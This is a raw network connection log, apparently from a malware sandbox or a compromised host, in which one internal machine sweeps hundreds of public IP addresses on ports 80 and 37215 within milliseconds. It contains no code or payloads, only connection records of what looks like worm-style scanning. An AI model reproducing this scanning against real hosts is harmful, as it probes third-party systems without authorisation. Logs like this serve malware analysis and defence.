Dec 3, 2024 22:02:05.200119019 CET	55962	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:05.200345993 CET	56132	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:05.200619936 CET	60190	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:05.200619936 CET	60190	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:05.200840950 CET	60360	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:05.201128006 CET	55850	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:05.201128006 CET	55850	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:05.201358080 CET	56020	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:05.201632023 CET	50338	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:05.201632023 CET	50338	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:05.201849937 CET	50506	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:05.202141047 CET	60226	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:05.202141047 CET	60226	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:05.202375889 CET	60394	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:05.202661991 CET	46742	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:05.202661991 CET	46742	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:05.202876091 CET	46910	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:05.203169107 CET	33014	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:05.203169107 CET	33014	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:05.203394890 CET	33182	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:05.203686953 CET	58720	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:05.203686953 CET	58720	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:05.203912973 CET	58888	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:05.204221010 CET	40904	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:05.204221010 CET	40904	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:05.204454899 CET	41072	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:05.204751015 CET	43084	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:05.204751015 CET	43084	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:05.204986095 CET	43252	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:05.205288887 CET	38984	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:05.205288887 CET	38984	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:05.205504894 CET	39152	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:05.205787897 CET	51388	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:05.205787897 CET	51388	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:05.206017017 CET	51556	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:05.206302881 CET	33454	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:05.206302881 CET	33454	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:05.206537008 CET	33622	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:05.206823111 CET	54492	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:05.206823111 CET	54492	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:05.207063913 CET	54660	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:05.207335949 CET	41500	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:05.207335949 CET	41500	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:05.207557917 CET	41668	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:05.207837105 CET	60328	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:05.207837105 CET	60328	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:05.208060980 CET	60496	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:05.208340883 CET	33810	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:05.208340883 CET	33810	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:05.208560944 CET	33978	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:05.208861113 CET	55334	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:05.208861113 CET	55334	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:05.209074020 CET	55500	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:05.209362984 CET	39376	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:05.209362984 CET	39376	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:05.209570885 CET	39542	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:05.209866047 CET	59690	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:05.209866047 CET	59690	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:05.210094929 CET	59856	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:05.210370064 CET	45746	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:05.210370064 CET	45746	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:05.210618019 CET	45912	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:05.210872889 CET	34708	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:05.210872889 CET	34708	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:05.211092949 CET	34874	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:05.211393118 CET	58604	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:05.211393118 CET	58604	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:05.211627007 CET	58770	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:05.211920977 CET	51406	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:05.211920977 CET	51406	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:05.212142944 CET	51572	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:05.212419987 CET	58040	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:05.212419987 CET	58040	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:05.212649107 CET	58206	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:05.212923050 CET	56516	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:05.212923050 CET	56516	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:05.213159084 CET	56682	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:05.213442087 CET	46614	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:05.213442087 CET	46614	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:05.213789940 CET	46776	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:05.214083910 CET	43712	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:05.214083910 CET	43712	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:05.214323997 CET	43874	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:05.214612007 CET	37528	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:05.214612007 CET	37528	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:05.214808941 CET	37686	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:05.217586040 CET	37215	37316	197.17.118.166	192.168.2.14
Dec 3, 2024 22:02:05.217605114 CET	37215	60810	156.117.49.107	192.168.2.14
Dec 3, 2024 22:02:05.217629910 CET	37316	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:05.217632055 CET	80	46086	100.186.253.107	192.168.2.14
Dec 3, 2024 22:02:05.217634916 CET	60810	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:05.217691898 CET	46086	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:05.217691898 CET	46086	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:05.217694998 CET	80	44556	116.230.207.99	192.168.2.14
Dec 3, 2024 22:02:05.217705011 CET	80	52840	67.122.14.87	192.168.2.14
Dec 3, 2024 22:02:05.217717886 CET	60810	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:05.217732906 CET	52840	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:05.217734098 CET	80	46952	85.122.192.250	192.168.2.14
Dec 3, 2024 22:02:05.217741013 CET	44556	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:05.217750072 CET	80	40786	124.187.170.176	192.168.2.14
Dec 3, 2024 22:02:05.217751026 CET	37316	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:05.217767000 CET	46952	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:05.217768908 CET	40832	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:05.217768908 CET	40832	37215	192.168.2.14	197.133.249.188
Dec 3, 2024 22:02:05.217775106 CET	40832	37215	192.168.2.14	197.156.121.225
Dec 3, 2024 22:02:05.217776060 CET	80	56348	27.30.146.2	192.168.2.14
Dec 3, 2024 22:02:05.217796087 CET	40786	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:05.217798948 CET	44556	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:05.217798948 CET	44556	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:05.217804909 CET	40832	37215	192.168.2.14	156.133.172.252
Dec 3, 2024 22:02:05.217804909 CET	56348	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:05.217804909 CET	40832	37215	192.168.2.14	197.181.214.215
Dec 3, 2024 22:02:05.217809916 CET	40832	37215	192.168.2.14	197.173.134.110
Dec 3, 2024 22:02:05.217813015 CET	40832	37215	192.168.2.14	156.87.157.20
Dec 3, 2024 22:02:05.217828035 CET	40832	37215	192.168.2.14	41.181.38.2
Dec 3, 2024 22:02:05.217829943 CET	40832	37215	192.168.2.14	156.192.211.224
Dec 3, 2024 22:02:05.217829943 CET	40832	37215	192.168.2.14	156.30.177.9
Dec 3, 2024 22:02:05.217830896 CET	80	57248	64.28.171.0	192.168.2.14
Dec 3, 2024 22:02:05.217834949 CET	40832	37215	192.168.2.14	156.230.244.20
Dec 3, 2024 22:02:05.217840910 CET	80	44916	42.182.65.179	192.168.2.14
Dec 3, 2024 22:02:05.217844963 CET	40832	37215	192.168.2.14	156.90.100.23
Dec 3, 2024 22:02:05.217858076 CET	40832	37215	192.168.2.14	156.57.172.73
Dec 3, 2024 22:02:05.217859030 CET	57248	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:05.217864990 CET	40832	37215	192.168.2.14	41.58.181.254
Dec 3, 2024 22:02:05.217870951 CET	80	53072	153.65.121.5	192.168.2.14
Dec 3, 2024 22:02:05.217875004 CET	40832	37215	192.168.2.14	197.103.10.143
Dec 3, 2024 22:02:05.217876911 CET	40832	37215	192.168.2.14	197.114.112.118
Dec 3, 2024 22:02:05.217876911 CET	40832	37215	192.168.2.14	41.96.194.137
Dec 3, 2024 22:02:05.217881918 CET	40832	37215	192.168.2.14	197.2.27.120
Dec 3, 2024 22:02:05.217883110 CET	44916	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:05.217884064 CET	40832	37215	192.168.2.14	197.85.89.48
Dec 3, 2024 22:02:05.217890978 CET	40832	37215	192.168.2.14	156.237.38.151
Dec 3, 2024 22:02:05.217930079 CET	40832	37215	192.168.2.14	156.93.220.133
Dec 3, 2024 22:02:05.217933893 CET	40832	37215	192.168.2.14	156.97.197.14
Dec 3, 2024 22:02:05.217933893 CET	40832	37215	192.168.2.14	197.117.157.216
Dec 3, 2024 22:02:05.217935085 CET	53072	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:05.217935085 CET	40832	37215	192.168.2.14	197.48.234.143
Dec 3, 2024 22:02:05.217935085 CET	40832	37215	192.168.2.14	41.10.16.187
Dec 3, 2024 22:02:05.217947960 CET	40832	37215	192.168.2.14	156.144.24.165
Dec 3, 2024 22:02:05.217947960 CET	40832	37215	192.168.2.14	41.25.190.38
Dec 3, 2024 22:02:05.217948914 CET	40832	37215	192.168.2.14	156.50.41.237
Dec 3, 2024 22:02:05.217950106 CET	40832	37215	192.168.2.14	156.223.226.57
Dec 3, 2024 22:02:05.217948914 CET	40832	37215	192.168.2.14	156.216.11.102
Dec 3, 2024 22:02:05.217950106 CET	40832	37215	192.168.2.14	41.208.61.118
Dec 3, 2024 22:02:05.217948914 CET	40832	37215	192.168.2.14	41.9.132.102
Dec 3, 2024 22:02:05.217951059 CET	40832	37215	192.168.2.14	156.184.79.237
Dec 3, 2024 22:02:05.217952013 CET	40832	37215	192.168.2.14	41.227.170.66
Dec 3, 2024 22:02:05.217952013 CET	40832	37215	192.168.2.14	197.197.236.10
Dec 3, 2024 22:02:05.217952967 CET	40832	37215	192.168.2.14	197.93.13.100
Dec 3, 2024 22:02:05.217952967 CET	40832	37215	192.168.2.14	156.245.235.242
Dec 3, 2024 22:02:05.217952967 CET	40832	37215	192.168.2.14	41.43.32.80
Dec 3, 2024 22:02:05.217952967 CET	40832	37215	192.168.2.14	197.23.93.37
Dec 3, 2024 22:02:05.217952967 CET	40832	37215	192.168.2.14	197.233.208.160
Dec 3, 2024 22:02:05.217963934 CET	40832	37215	192.168.2.14	156.252.35.171
Dec 3, 2024 22:02:05.217963934 CET	40832	37215	192.168.2.14	41.129.182.103
Dec 3, 2024 22:02:05.217966080 CET	40832	37215	192.168.2.14	197.45.0.24
Dec 3, 2024 22:02:05.217967033 CET	40832	37215	192.168.2.14	197.29.99.255
Dec 3, 2024 22:02:05.217966080 CET	40832	37215	192.168.2.14	156.52.66.225
Dec 3, 2024 22:02:05.217966080 CET	40832	37215	192.168.2.14	41.192.158.56
Dec 3, 2024 22:02:05.217966080 CET	40832	37215	192.168.2.14	156.113.68.180
Dec 3, 2024 22:02:05.217968941 CET	40832	37215	192.168.2.14	41.20.153.72
Dec 3, 2024 22:02:05.217969894 CET	40832	37215	192.168.2.14	41.126.206.43
Dec 3, 2024 22:02:05.217969894 CET	40832	37215	192.168.2.14	41.228.24.46
Dec 3, 2024 22:02:05.217969894 CET	40832	37215	192.168.2.14	197.23.219.134
Dec 3, 2024 22:02:05.217969894 CET	40832	37215	192.168.2.14	156.133.128.73
Dec 3, 2024 22:02:05.217971087 CET	40832	37215	192.168.2.14	156.243.188.178
Dec 3, 2024 22:02:05.217977047 CET	40832	37215	192.168.2.14	197.148.77.92
Dec 3, 2024 22:02:05.217978954 CET	40832	37215	192.168.2.14	156.43.203.58
Dec 3, 2024 22:02:05.217983007 CET	40832	37215	192.168.2.14	156.24.253.138
Dec 3, 2024 22:02:05.217983007 CET	40832	37215	192.168.2.14	197.238.7.7
Dec 3, 2024 22:02:05.217986107 CET	40832	37215	192.168.2.14	197.119.52.254
Dec 3, 2024 22:02:05.217986107 CET	40832	37215	192.168.2.14	156.38.33.76
Dec 3, 2024 22:02:05.217992067 CET	40832	37215	192.168.2.14	156.63.89.20
Dec 3, 2024 22:02:05.217993021 CET	40832	37215	192.168.2.14	197.32.52.158
Dec 3, 2024 22:02:05.217993975 CET	40832	37215	192.168.2.14	41.110.196.46
Dec 3, 2024 22:02:05.217993975 CET	40832	37215	192.168.2.14	41.195.80.77
Dec 3, 2024 22:02:05.217995882 CET	40832	37215	192.168.2.14	197.35.80.43
Dec 3, 2024 22:02:05.217995882 CET	40832	37215	192.168.2.14	197.149.90.71
Dec 3, 2024 22:02:05.217995882 CET	40832	37215	192.168.2.14	197.211.227.68
Dec 3, 2024 22:02:05.217997074 CET	40832	37215	192.168.2.14	197.111.152.79
Dec 3, 2024 22:02:05.217998981 CET	40832	37215	192.168.2.14	197.233.208.142
Dec 3, 2024 22:02:05.218003035 CET	40832	37215	192.168.2.14	156.105.65.153
Dec 3, 2024 22:02:05.218003035 CET	40832	37215	192.168.2.14	156.94.32.19
Dec 3, 2024 22:02:05.218003035 CET	40832	37215	192.168.2.14	156.117.72.189
Dec 3, 2024 22:02:05.218005896 CET	40832	37215	192.168.2.14	197.78.235.184
Dec 3, 2024 22:02:05.218008995 CET	40832	37215	192.168.2.14	197.56.16.75
Dec 3, 2024 22:02:05.218013048 CET	40832	37215	192.168.2.14	197.213.2.40
Dec 3, 2024 22:02:05.218019009 CET	40832	37215	192.168.2.14	41.148.110.191
Dec 3, 2024 22:02:05.218019009 CET	40832	37215	192.168.2.14	41.218.184.22
Dec 3, 2024 22:02:05.218022108 CET	40832	37215	192.168.2.14	197.213.165.112
Dec 3, 2024 22:02:05.218028069 CET	40832	37215	192.168.2.14	41.213.94.249
Dec 3, 2024 22:02:05.218038082 CET	40832	37215	192.168.2.14	197.148.227.33
Dec 3, 2024 22:02:05.218038082 CET	40832	37215	192.168.2.14	41.212.171.74
Dec 3, 2024 22:02:05.218044043 CET	40832	37215	192.168.2.14	41.208.80.246
Dec 3, 2024 22:02:05.218044996 CET	40832	37215	192.168.2.14	41.25.240.47
Dec 3, 2024 22:02:05.218055010 CET	40832	37215	192.168.2.14	41.108.97.13
Dec 3, 2024 22:02:05.218059063 CET	40832	37215	192.168.2.14	197.92.178.249
Dec 3, 2024 22:02:05.218061924 CET	40832	37215	192.168.2.14	41.41.26.216
Dec 3, 2024 22:02:05.218063116 CET	40832	37215	192.168.2.14	197.203.127.85
Dec 3, 2024 22:02:05.218066931 CET	40832	37215	192.168.2.14	197.62.59.4
Dec 3, 2024 22:02:05.218071938 CET	40832	37215	192.168.2.14	41.118.234.146
Dec 3, 2024 22:02:05.218072891 CET	40832	37215	192.168.2.14	156.57.227.71
Dec 3, 2024 22:02:05.218075991 CET	40832	37215	192.168.2.14	41.191.168.152
Dec 3, 2024 22:02:05.218084097 CET	40832	37215	192.168.2.14	41.201.82.41
Dec 3, 2024 22:02:05.218087912 CET	40832	37215	192.168.2.14	156.10.14.12
Dec 3, 2024 22:02:05.218101025 CET	40832	37215	192.168.2.14	197.7.126.17
Dec 3, 2024 22:02:05.218111038 CET	40832	37215	192.168.2.14	156.183.216.153
Dec 3, 2024 22:02:05.218117952 CET	40832	37215	192.168.2.14	156.1.46.224
Dec 3, 2024 22:02:05.218120098 CET	40832	37215	192.168.2.14	197.128.8.16
Dec 3, 2024 22:02:05.218120098 CET	40832	37215	192.168.2.14	156.244.125.233
Dec 3, 2024 22:02:05.218122005 CET	44694	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:05.218122005 CET	40832	37215	192.168.2.14	41.68.220.95
Dec 3, 2024 22:02:05.218122959 CET	40832	37215	192.168.2.14	197.86.74.119
Dec 3, 2024 22:02:05.218147039 CET	40832	37215	192.168.2.14	197.254.23.224
Dec 3, 2024 22:02:05.218147039 CET	40832	37215	192.168.2.14	156.173.10.45
Dec 3, 2024 22:02:05.218146086 CET	40832	37215	192.168.2.14	156.45.217.165
Dec 3, 2024 22:02:05.218146086 CET	40832	37215	192.168.2.14	41.12.230.54
Dec 3, 2024 22:02:05.218148947 CET	40832	37215	192.168.2.14	197.32.179.80
Dec 3, 2024 22:02:05.218148947 CET	40832	37215	192.168.2.14	41.122.26.152
Dec 3, 2024 22:02:05.218163967 CET	40832	37215	192.168.2.14	41.4.21.115
Dec 3, 2024 22:02:05.218168020 CET	40832	37215	192.168.2.14	197.162.242.253
Dec 3, 2024 22:02:05.218174934 CET	40832	37215	192.168.2.14	41.129.189.103
Dec 3, 2024 22:02:05.218184948 CET	40832	37215	192.168.2.14	197.27.135.212
Dec 3, 2024 22:02:05.218184948 CET	40832	37215	192.168.2.14	156.214.130.144
Dec 3, 2024 22:02:05.218188047 CET	40832	37215	192.168.2.14	156.85.67.176
Dec 3, 2024 22:02:05.218189001 CET	40832	37215	192.168.2.14	156.128.103.65
Dec 3, 2024 22:02:05.218189001 CET	40832	37215	192.168.2.14	156.84.30.115
Dec 3, 2024 22:02:05.218194962 CET	40832	37215	192.168.2.14	41.67.202.20
Dec 3, 2024 22:02:05.218194962 CET	40832	37215	192.168.2.14	41.83.131.182
Dec 3, 2024 22:02:05.218210936 CET	40832	37215	192.168.2.14	41.126.50.140
Dec 3, 2024 22:02:05.218210936 CET	40832	37215	192.168.2.14	41.170.179.75
Dec 3, 2024 22:02:05.218214035 CET	40832	37215	192.168.2.14	197.84.69.172
Dec 3, 2024 22:02:05.218221903 CET	40832	37215	192.168.2.14	197.191.1.151
Dec 3, 2024 22:02:05.218233109 CET	40832	37215	192.168.2.14	156.88.88.170
Dec 3, 2024 22:02:05.218241930 CET	40832	37215	192.168.2.14	197.22.1.3
Dec 3, 2024 22:02:05.218241930 CET	40832	37215	192.168.2.14	156.163.193.231
Dec 3, 2024 22:02:05.218242884 CET	40832	37215	192.168.2.14	41.97.163.198
Dec 3, 2024 22:02:05.218245983 CET	40832	37215	192.168.2.14	197.23.48.2
Dec 3, 2024 22:02:05.218254089 CET	40832	37215	192.168.2.14	197.107.246.12
Dec 3, 2024 22:02:05.218257904 CET	40832	37215	192.168.2.14	41.71.13.121
Dec 3, 2024 22:02:05.218265057 CET	40832	37215	192.168.2.14	156.210.39.133
Dec 3, 2024 22:02:05.218272924 CET	40832	37215	192.168.2.14	197.241.205.237
Dec 3, 2024 22:02:05.218272924 CET	40832	37215	192.168.2.14	41.81.252.199
Dec 3, 2024 22:02:05.218272924 CET	40832	37215	192.168.2.14	156.236.197.29
Dec 3, 2024 22:02:05.218281984 CET	40832	37215	192.168.2.14	41.2.227.191
Dec 3, 2024 22:02:05.218286991 CET	40832	37215	192.168.2.14	156.72.126.199
Dec 3, 2024 22:02:05.218287945 CET	40832	37215	192.168.2.14	41.145.51.53
Dec 3, 2024 22:02:05.218287945 CET	40832	37215	192.168.2.14	197.117.175.78
Dec 3, 2024 22:02:05.218296051 CET	40832	37215	192.168.2.14	41.198.125.245
Dec 3, 2024 22:02:05.218307018 CET	40832	37215	192.168.2.14	197.50.143.111
Dec 3, 2024 22:02:05.218312979 CET	40832	37215	192.168.2.14	197.74.141.115
Dec 3, 2024 22:02:05.218322039 CET	40832	37215	192.168.2.14	156.251.1.251
Dec 3, 2024 22:02:05.218323946 CET	40832	37215	192.168.2.14	197.217.21.86
Dec 3, 2024 22:02:05.218323946 CET	40832	37215	192.168.2.14	156.241.183.23
Dec 3, 2024 22:02:05.218338013 CET	40832	37215	192.168.2.14	41.44.17.182
Dec 3, 2024 22:02:05.218341112 CET	40832	37215	192.168.2.14	197.10.219.2
Dec 3, 2024 22:02:05.218346119 CET	40832	37215	192.168.2.14	156.107.31.33
Dec 3, 2024 22:02:05.218346119 CET	40832	37215	192.168.2.14	197.136.253.190
Dec 3, 2024 22:02:05.218363047 CET	40832	37215	192.168.2.14	197.50.36.53
Dec 3, 2024 22:02:05.218374968 CET	40832	37215	192.168.2.14	156.139.26.248
Dec 3, 2024 22:02:05.218374968 CET	40832	37215	192.168.2.14	41.26.148.225
Dec 3, 2024 22:02:05.218375921 CET	40832	37215	192.168.2.14	41.93.56.217
Dec 3, 2024 22:02:05.218383074 CET	40832	37215	192.168.2.14	197.228.249.198
Dec 3, 2024 22:02:05.218383074 CET	40832	37215	192.168.2.14	197.46.47.169
Dec 3, 2024 22:02:05.218385935 CET	40832	37215	192.168.2.14	197.67.27.36
Dec 3, 2024 22:02:05.218389988 CET	40832	37215	192.168.2.14	41.101.92.155
Dec 3, 2024 22:02:05.218389988 CET	40832	37215	192.168.2.14	197.140.64.174
Dec 3, 2024 22:02:05.218406916 CET	40832	37215	192.168.2.14	156.169.237.117
Dec 3, 2024 22:02:05.218417883 CET	40832	37215	192.168.2.14	197.84.205.162
Dec 3, 2024 22:02:05.218417883 CET	40832	37215	192.168.2.14	41.129.40.118
Dec 3, 2024 22:02:05.218417883 CET	40832	37215	192.168.2.14	156.126.237.176
Dec 3, 2024 22:02:05.218419075 CET	40832	37215	192.168.2.14	156.210.40.161
Dec 3, 2024 22:02:05.218420029 CET	52840	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:05.218421936 CET	40832	37215	192.168.2.14	41.118.74.48
Dec 3, 2024 22:02:05.218424082 CET	40832	37215	192.168.2.14	41.181.75.111
Dec 3, 2024 22:02:05.218430042 CET	40832	37215	192.168.2.14	156.4.174.102
Dec 3, 2024 22:02:05.218430996 CET	40832	37215	192.168.2.14	41.135.79.139
Dec 3, 2024 22:02:05.218430996 CET	40832	37215	192.168.2.14	156.176.215.81
Dec 3, 2024 22:02:05.218431950 CET	40832	37215	192.168.2.14	197.205.235.237
Dec 3, 2024 22:02:05.218432903 CET	52840	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:05.218439102 CET	40832	37215	192.168.2.14	156.4.111.89
Dec 3, 2024 22:02:05.218440056 CET	40832	37215	192.168.2.14	41.156.140.114
Dec 3, 2024 22:02:05.218442917 CET	40832	37215	192.168.2.14	197.214.180.40
Dec 3, 2024 22:02:05.218456030 CET	40832	37215	192.168.2.14	41.199.113.131
Dec 3, 2024 22:02:05.218466043 CET	40832	37215	192.168.2.14	197.28.202.24
Dec 3, 2024 22:02:05.218466043 CET	40832	37215	192.168.2.14	41.25.94.210
Dec 3, 2024 22:02:05.218466997 CET	40832	37215	192.168.2.14	41.206.15.87
Dec 3, 2024 22:02:05.218466997 CET	40832	37215	192.168.2.14	197.23.70.149
Dec 3, 2024 22:02:05.218467951 CET	40832	37215	192.168.2.14	41.152.128.185
Dec 3, 2024 22:02:05.218468904 CET	40832	37215	192.168.2.14	41.159.151.254
Dec 3, 2024 22:02:05.218468904 CET	40832	37215	192.168.2.14	156.28.50.221
Dec 3, 2024 22:02:05.218475103 CET	40832	37215	192.168.2.14	41.164.227.222
Dec 3, 2024 22:02:05.218491077 CET	40832	37215	192.168.2.14	156.230.114.189
Dec 3, 2024 22:02:05.218491077 CET	40832	37215	192.168.2.14	197.73.109.162
Dec 3, 2024 22:02:05.218496084 CET	40832	37215	192.168.2.14	156.133.129.9
Dec 3, 2024 22:02:05.218496084 CET	40832	37215	192.168.2.14	156.114.124.125
Dec 3, 2024 22:02:05.218501091 CET	40832	37215	192.168.2.14	156.125.90.103
Dec 3, 2024 22:02:05.218501091 CET	40832	37215	192.168.2.14	41.32.242.3
Dec 3, 2024 22:02:05.218504906 CET	40832	37215	192.168.2.14	197.63.27.244
Dec 3, 2024 22:02:05.218519926 CET	40832	37215	192.168.2.14	197.13.100.230
Dec 3, 2024 22:02:05.218519926 CET	40832	37215	192.168.2.14	41.176.79.35
Dec 3, 2024 22:02:05.218519926 CET	40832	37215	192.168.2.14	197.152.33.84
Dec 3, 2024 22:02:05.218527079 CET	40832	37215	192.168.2.14	197.223.71.244
Dec 3, 2024 22:02:05.218534946 CET	40832	37215	192.168.2.14	41.125.92.188
Dec 3, 2024 22:02:05.218534946 CET	40832	37215	192.168.2.14	156.125.116.106
Dec 3, 2024 22:02:05.218543053 CET	40832	37215	192.168.2.14	197.147.246.218
Dec 3, 2024 22:02:05.218543053 CET	40832	37215	192.168.2.14	41.168.203.169
Dec 3, 2024 22:02:05.218543053 CET	40832	37215	192.168.2.14	156.80.245.216
Dec 3, 2024 22:02:05.218552113 CET	40832	37215	192.168.2.14	156.137.136.29
Dec 3, 2024 22:02:05.218553066 CET	40832	37215	192.168.2.14	41.150.199.76
Dec 3, 2024 22:02:05.218553066 CET	40832	37215	192.168.2.14	156.104.11.45
Dec 3, 2024 22:02:05.218553066 CET	40832	37215	192.168.2.14	41.133.126.210
Dec 3, 2024 22:02:05.218569994 CET	40832	37215	192.168.2.14	156.110.237.28
Dec 3, 2024 22:02:05.218569994 CET	40832	37215	192.168.2.14	197.243.61.167
Dec 3, 2024 22:02:05.218569994 CET	40832	37215	192.168.2.14	156.1.234.0
Dec 3, 2024 22:02:05.218583107 CET	40832	37215	192.168.2.14	197.110.217.240
Dec 3, 2024 22:02:05.218584061 CET	40832	37215	192.168.2.14	197.5.52.20
Dec 3, 2024 22:02:05.218616962 CET	40832	37215	192.168.2.14	41.40.60.186
Dec 3, 2024 22:02:05.218617916 CET	40832	37215	192.168.2.14	41.202.172.46
Dec 3, 2024 22:02:05.218621969 CET	40832	37215	192.168.2.14	41.111.223.128
Dec 3, 2024 22:02:05.218622923 CET	40832	37215	192.168.2.14	156.57.76.28
Dec 3, 2024 22:02:05.218626976 CET	40832	37215	192.168.2.14	41.234.185.94
Dec 3, 2024 22:02:05.218626976 CET	40832	37215	192.168.2.14	197.183.251.145
Dec 3, 2024 22:02:05.218628883 CET	40832	37215	192.168.2.14	197.182.233.149
Dec 3, 2024 22:02:05.218628883 CET	40832	37215	192.168.2.14	197.139.161.207
Dec 3, 2024 22:02:05.218641043 CET	40832	37215	192.168.2.14	197.13.77.96
Dec 3, 2024 22:02:05.218641043 CET	40832	37215	192.168.2.14	41.244.16.107
Dec 3, 2024 22:02:05.218641996 CET	40832	37215	192.168.2.14	41.98.74.240
Dec 3, 2024 22:02:05.218641996 CET	40832	37215	192.168.2.14	156.243.163.29
Dec 3, 2024 22:02:05.218642950 CET	40832	37215	192.168.2.14	156.122.138.64
Dec 3, 2024 22:02:05.218642950 CET	40832	37215	192.168.2.14	41.93.138.56
Dec 3, 2024 22:02:05.218643904 CET	40832	37215	192.168.2.14	197.49.9.136
Dec 3, 2024 22:02:05.218643904 CET	40832	37215	192.168.2.14	156.194.249.37
Dec 3, 2024 22:02:05.218643904 CET	40832	37215	192.168.2.14	41.230.99.56
Dec 3, 2024 22:02:05.218646049 CET	40832	37215	192.168.2.14	197.161.105.198
